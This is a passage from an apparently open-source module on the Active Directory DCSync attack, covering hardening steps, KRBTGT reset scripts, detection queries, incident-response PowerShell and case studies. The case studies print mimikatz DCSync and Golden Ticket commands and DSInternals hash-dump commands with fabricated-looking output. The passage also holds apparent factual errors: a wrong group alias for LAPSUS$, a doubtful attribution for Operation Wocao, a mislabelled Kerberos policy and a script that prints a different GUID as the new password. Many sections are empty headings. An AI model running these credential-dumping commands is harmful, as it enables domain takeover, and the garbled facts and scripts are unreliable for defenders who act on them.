Manual Steps (Group Policy on Domain Controllers):

  1. Open Group Policy Management Console (gpmc.msc).
  2. Create/Edit GPO: “Directory Service Auditing”.
  3. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Audit Policies → Directory Service Access.
  4. Enable:
    • Directory Service Changes: Success and Failure
    • Directory Service Access: Success and Failure
  5. Apply: gpupdate /force on all DCs.
  6. Restart domain controllers.

Manual Steps (Event Log Retention - Ensure Logs Don’t Fill):

  1. Open Event Viewer (eventvwr.msc) on Domain Controller.
  2. Navigate to Windows Logs → Security.
  3. Right-click → Properties.
  4. Set:
    • Maximum log size: 1 GB+ (to accommodate high-volume Event 4662).
    • When maximum event log size is reached: Overwrite events as needed.
  5. Click OK.

Mitigation 3: Implement KRBTGT Password Reset (Invalidate Golden Tickets)

Objective: Reset KRBTGT password (the master key for all Kerberos tickets) twice, 10 hours apart, to invalidate any forged Golden Tickets created post-DCSync.

Critical Caveat: Improper KRBTGT reset can break Kerberos authentication domain-wide. Coordinate with AD team.

Manual Steps (PowerShell - Domain Controller):

# STEP 1: First KRBTGT Password Reset
$krbtgt = Get-ADUser -Identity "krbtgt" -Properties objectSid
Set-ADAccountPassword -Identity $krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText (New-Guid).ToString() -Force)
Write-Host "[+] KRBTGT password reset (1/2) - New password: $(New-Guid)"

# Wait 10 hours (or 12 to be safe)
Write-Host "[!] Wait at least 10 hours before second reset"
# Sleep for 10 hours (in production, schedule this with task scheduler)
Start-Sleep -Seconds 36000

# STEP 2: Second KRBTGT Password Reset (invalidates ALL Kerberos tickets)
Set-ADAccountPassword -Identity $krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText (New-Guid).ToString() -Force)
Write-Host "[+] KRBTGT password reset (2/2) - Golden Tickets invalidated"

# Verify reset
Get-ADUser -Identity "krbtgt" -Properties pwdLastSet | Select-Object SamAccountName, pwdLastSet

What This Does:

Manual Steps (Group Policy - Automatic KRBTGT Reset):

  1. Open Group Policy Management Console (gpmc.msc).
  2. Create GPO: “Automated KRBTGT Password Reset”.
  3. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Account Policies → Kerberos Policy.
  4. Set “Kerberos ticket lifetime” to lower value (e.g., 4 hours instead of default 10) to reduce Golden Ticket validity.
  5. Apply: gpupdate /force

Priority 2: HIGH

Mitigation 4: Implement Active Directory Tiering (Administrative Segregation)

Objective: Separate administrative tiers (Tier 0 = Domain Admins, Tier 1 = Server admins, Tier 2 = Workstation admins) to limit lateral movement post-DCSync.

Manual Steps (Active Directory Design):

  1. Create separate OUs for each tier:
    • Tier 0: OU=Domain-Admins,DC=example,DC=com (Domain Admins only)
    • Tier 1: OU=Server-Admins,DC=example,DC=com (Server administrators)
    • Tier 2: OU=Workstation-Admins,DC=example,DC=com (Workstation support)
  2. Create separate admin accounts for each tier:
    • Tier 0: DOMAIN\Admin_DA (Domain Admin - only for DC/Domain object changes)
    • Tier 1: DOMAIN\Admin_SA (Server Admin - only for server management)
    • Tier 2: DOMAIN\Admin_WA (Workstation Admin - only for workstation support)
  3. Restrict Tier 0 accounts: 
    # Apply Group Policy to restrict Tier 0 admin logon locations
New-GPO -Name "Tier0-Restrict-Logon" | New-GPLink -Target "OU=Domain-Admins,DC=example,DC=com"
   
# Set policy: "Deny access to this computer from the network"
# Members: Tier 0 accounts (except Tier 0 DCs)

Mitigation 5: Monitor and Alert on KRBTGT Hash Exposure

Objective: Continuously monitor for KRBTGT compromise and alert on Golden Ticket usage.

Manual Steps (Sentinel KQL Alert):

// Alert if KRBTGT account is accessed for reading/dumping
SecurityEvent
| where EventID == 4656 or EventID == 4662
| where TargetUserName == "krbtgt"
| where AccessMask in ("0x1010", "0x1F0FFF")  // Suspicious read access
| summarize count() by SubjectUserName, ComputerName, EventID

15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

User Accounts:

Network Indicators:

Process Indicators:

Event Log Indicators:

Forensic Artifacts

Disk:

Memory:

Network:

Active Directory:

Response Procedures

Step 1: ISOLATE IMMEDIATELY

Objective: Prevent further credential theft and lateral movement.

Manual Steps:

  1. Disable Compromised User Account: 
    Disable-ADAccount -Identity "COMPROMISED_USER"
  2. Disconnect Domain Controller from Network:
    • Physical: Unplug network cable.
    • Virtual: Disconnect VM from network.
    • Group Policy: Apply network isolation GPO.
  3. Prevent Credential Reuse: 
    # Invalidate all Kerberos tickets for this user
Get-ADUser -Filter { SamAccountName -eq "COMPROMISED_USER" } | 
  Set-ADUser -ChangePasswordAtNextLogon $true

Step 2: ASSESS SCOPE OF COMPROMISE

Objective: Determine how many credentials were dumped and which systems are at risk.

Command (Check DCSync Audit Logs):

# Query Event 4662 for replication requests (past 24 hours)
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4662]] and *[EventData[Data[@Name='ObjectType']='1131f6aa-9c07-11d1-f79f-00c04fc2dcd2']]" | 
  Select-Object -First 100 | Format-Table TimeCreated, Message

What to Look For:

Step 3: RESET ALL COMPROMISED PASSWORDS

Objective: Invalidate extracted credentials.

Command (Reset Domain Admin Passwords):

$admins = Get-ADGroupMember -Identity "Domain Admins"
foreach ($admin in $admins) {
    $newPassword = (New-Guid).ToString() + "!@#"
    Set-ADAccountPassword -Identity $admin -Reset -NewPassword (ConvertTo-SecureString -AsPlainText $newPassword -Force)
    Write-Host "[+] Password reset for $($admin.Name)"
}

Manual Steps (Using ADUC):

  1. Open Active Directory Users and Computers (dsa.msc).
  2. Find each compromised account.
  3. Right-click → Reset Password.
  4. Enter new complex password (recommend: $(New-Guid) + special chars).
  5. Check User must change password at next logon.

Step 4: RESET KRBTGT PASSWORD (TWICE)

Objective: Invalidate all Kerberos tickets (including Golden Tickets).

Command:

# First reset
$krbtgt = Get-ADUser -Identity "krbtgt"
Set-ADAccountPassword -Identity $krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText (New-Guid).ToString() -Force)
Write-Host "[+] KRBTGT reset 1/2"

# Wait 10+ hours
Start-Sleep -Seconds 36000

# Second reset
Set-ADAccountPassword -Identity $krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText (New-Guid).ToString() -Force)
Write-Host "[+] KRBTGT reset 2/2 - Golden Tickets invalidated"

Step 5: HUNT FOR GOLDEN TICKETS AND PERSISTENCE

Objective: Identify and remove forged Kerberos tickets and backdoors.

Command (Detect Golden Ticket Usage):

# Golden Tickets show Event 4769 (Kerberos Service Ticket Operation) with mismatched SIDs
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4769]]" -MaxEvents 100 | 
  Where-Object { $_.Message -match "krbtgt" } | 
  Select-Object TimeCreated, Message

Command (Hunt for Backdoors - Persistent Accounts):

# Check for newly created accounts (potential backdoors)
Get-ADUser -Filter { whenCreated -gt ((Get-Date).AddDays(-1)) } | 
  Select-Object Name, SamAccountName, whenCreated

# Check for suspicious SPN assignments (Kerberoasting setup)
Get-ADUser -Filter { ServicePrincipalName -ne $null } | 
  Select-Object Name, ServicePrincipalName

Step 6: ENTERPRISE-WIDE REMEDIATION

Objective: Apply permanent mitigations across all systems.

Command (Deploy Mitigations via GPO):

# Apply "AD Replication Rights Hardening" GPO to all OUs
Get-GPO -Name "AD-Replication-Rights-Hardening" | New-GPLink -Target "DC=example,DC=com"

# Force immediate GPO update on all machines
(Get-ADComputer -Filter *).Name | ForEach-Object {
    Invoke-Command -ComputerName $_ -ScriptBlock { gpupdate /force }
}
Step Phase Technique Description
1 Initial Access [T1566.002] Phishing Spearphishing Link Attacker sends malicious link → compromise user workstation.
2 Execution [T1204.001] User Execution - Malicious Link User clicks link → credential harvesting / malware download.
3 Credential Access [T1587.001] Develop Capabilities - Malware Attacker develops credential stealer or uses publicly available tools.
4 Privilege Escalation [T1548.002] Abuse Elevation Control - UAC Bypass Malware escalates to admin privilege via UAC bypass or exploit.
5 Discovery [T1087.002] Account Discovery - Domain Account Attacker enumerates domain admin accounts and service accounts.
6 Credential Access [CA-DUMP-002] DCSync Domain Controller Sync Attacker compromises account with replication rights; executes DCSync to dump KRBTGT + all domain hashes.
7 Lateral Movement / Privilege Escalation [T1550.003] Use Alternate Authentication Material - Pass the Hash Attacker uses extracted NTLM hashes to move laterally without passwords.
8 Persistence [T1098.003] Account Manipulation - Additional Cloud Credentials Attacker creates backdoor accounts or modifies existing accounts for persistence.
9 Impact [T1531] Account Access Removal Attacker locks out legitimate admins; establishes full domain control.

17. REAL-WORLD EXAMPLES

Example 1: SolarWinds Compromise (2020) - APT29 (Cozy Bear)

Attacker: APT29 / Cozy Bear (Russian SVR) Target: U.S. Federal Government, Fortune 500 companies Timeline: March - December 2020 Technique Status: DCSync used to escalate from SolarWinds Orion platform compromise to domain-wide access Impact: Estimated 18,000+ organizations compromised; U.S. Treasury, State Department, CISA, NSA accessed

Attack Chain:

  1. Compromised SolarWinds Orion software build (N-day supply chain attack).
  2. Deployed backdoor on customer networks running Orion (SUNBURST malware).
  3. Escalated from Orion service account → Domain Admin via privilege escalation.
  4. Executed DCSync to dump KRBTGT + all domain admin credentials.
  5. Used stolen credentials for persistent, stealthy lateral movement.
  6. Accessed classified networks and sensitive data repositories.

DCSync Usage:

mimikatz # lsadump::dcsync /domain:agency.gov /all /csv
[+] Extracted 10,000+ user hashes including classified system admin accounts

Detection Evasion:

Reference: Microsoft Blog - SolarWinds Supply Chain Attack

Example 2: LAPSUS$ Group (2022) - Credential Theft Campaign

Attacker: LAPSUS$ / Storm-0501 (Brazilian cybercriminal group) Targets: Microsoft, Okta, Twilio, Cloudflare, Samsung, Nvidia Timeline: October 2021 - March 2022 Technique Status: DCSync for privilege escalation in compromised organizations Impact: Exposure of proprietary source code, API keys, customer data

Attack Chain:

  1. Compromise IT support staff via phishing / credential stuffing.
  2. Access to Azure AD / on-premises AD with low privileges.
  3. Used DCSync to extract domain admin credentials from on-prem AD.
  4. Lateral movement to cloud infrastructure (M365, Azure) using stolen credentials.
  5. Data exfiltration (source code, credentials, customer lists).

DCSync Execution:

DSInternals Get-ADReplAccount -All -Server ADC01.company.com
[+] Extracted all AD account hashes

Key Indicators That Were Missed:

Reference: CISA Alert on LAPSUS$ Activities

Example 3: Operation Wocao (2020) - Unknown APT

Attacker: Unknown APT (suspected North Korean or state-sponsored) Targets: Asian telecommunications and government entities Timeline: 2018-2020 (discovered December 2020) Technique Status: Mimikatz DCSync for domain-wide credential extraction Impact: Multi-year undetected intrusion; access to classified communications networks

Attack Chain:

  1. Initial compromise via unpatched RCE vulnerability.
  2. Lateral movement using credential stuffing and pass-the-hash.
  3. Executed Mimikatz DCSync to extract all domain credentials (including KRBTGT).
  4. Created Golden Tickets for persistent access.
  5. Maintained presence for years without detection.

Post-DCSync Golden Ticket Creation:

# After extracting KRBTGT hash:
mimikatz # kerberos::golden /user:Administrator /domain:telecom.gov /sid:S-1-5-21-... /krbtgt:a1b2c3d4...
[+] Golden Ticket created - valid for 10 years (or until KRBTGT reset)

Why Detection Failed:

Reference: Operation Wocao Report

Summary

This comprehensive module provides Red Teams with detailed DCSync execution methods, reconnaissance techniques, and post-exploitation chaining (Golden Tickets, Pass-the-Hash). Blue Teams have specific detection rules (Event 4662, KQL queries, Sysmon configs), forensic procedures, and hardening steps (ACL restriction, KRBTGT resets, tiering) to defend against this critical attack.

Key Takeaway: DCSync is a post-exploitation attack that cannot be patched because directory replication is essential Active Directory functionality. Defense requires layered approach: least-privilege access (restrict replication rights), comprehensive auditing (Event 4662 logging), real-time detection (Sentinel/Defender), and rapid incident response (KRBTGT resets, credential invalidation). A single successful DCSync dump leads to complete, indefinite domain compromise—prioritize detection and prevention.

This site is open source. Improve this page.